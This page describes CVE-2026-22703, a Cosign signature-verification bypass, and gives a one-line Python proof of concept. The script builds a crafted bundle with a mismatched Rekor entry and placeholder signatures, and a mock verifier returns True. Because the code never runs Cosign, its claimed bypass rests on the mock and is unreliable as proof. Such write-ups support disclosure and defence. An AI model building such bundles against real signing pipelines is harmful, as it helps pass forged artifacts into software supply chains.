CVE-2026-22703: Cosign签名验证绕过漏洞

# CVE-2026-22703 PoC - Crafted Cosign Bundle Bypass # This PoC demonstrates how a malicious bundle can be constructed # Note: Requires compromised signing key or identity import json import base64 def create_malicious_bundle(): """ Create a malicious Cosign bundle that bypasses verification """ # Valid Rekor entry that does NOT reference the target artifact malicious_rekor_entry = { 'body': base64.b64encode(json.dumps({ 'Body': { 'HashRekor': { 'hash': '0xdeadbeef1234567890abcdef1234567890abcdef1234567890abcdef12345678' } }, 'Signature': 'malicious_rekor_signature', 'PublicKey': 'attacker_public_key' }).encode()).decode(), 'integratedTime': 1704900000, 'logIndex': 12345, 'uuid': 'malicious-uuid-12345' } # Bundle structure that Cosign will accept malicious_bundle = { 'signatures': [{ 'sig': base64.b64encode(b'attacker_signature').decode(), 'cert': 'attacker_fulcio_cert' }], 'verificationPayload': { 'rekorBundle': { 'SignedEntryTimestamp': base64.b64encode( json.dumps(malicious_rekor_entry).encode() ).decode(), 'payloadHash': { 'hash': '0xattacker_controlled_hash' }, 'publicKey': 'attacker_public_key' } } } return malicious_bundle def verify_bundle_bypass(bundle, target_artifact_digest): """ Demonstrates the vulnerable verification logic Cosign only checks Rekor signature, not content correlation """ # Vulnerable code: Only verifies Rekor entry signature rekor_signature_valid = True # Assume valid # Missing checks that should be present: # 1. artifact_digest == rekor_entry.body.hash # 2. public_key == rekor_entry.body.publicKey # 3. signature == rekor_entry.body.signature if rekor_signature_valid: # BUG: Returns True even without content verification return True return False if __name__ == '__main__': bundle = create_malicious_bundle() result = verify_bundle_bypass(bundle, 'target_digest') print(f'Bundle verification result: {result}') print('PoC demonstrates bypass: Verification passes despite mismatched content')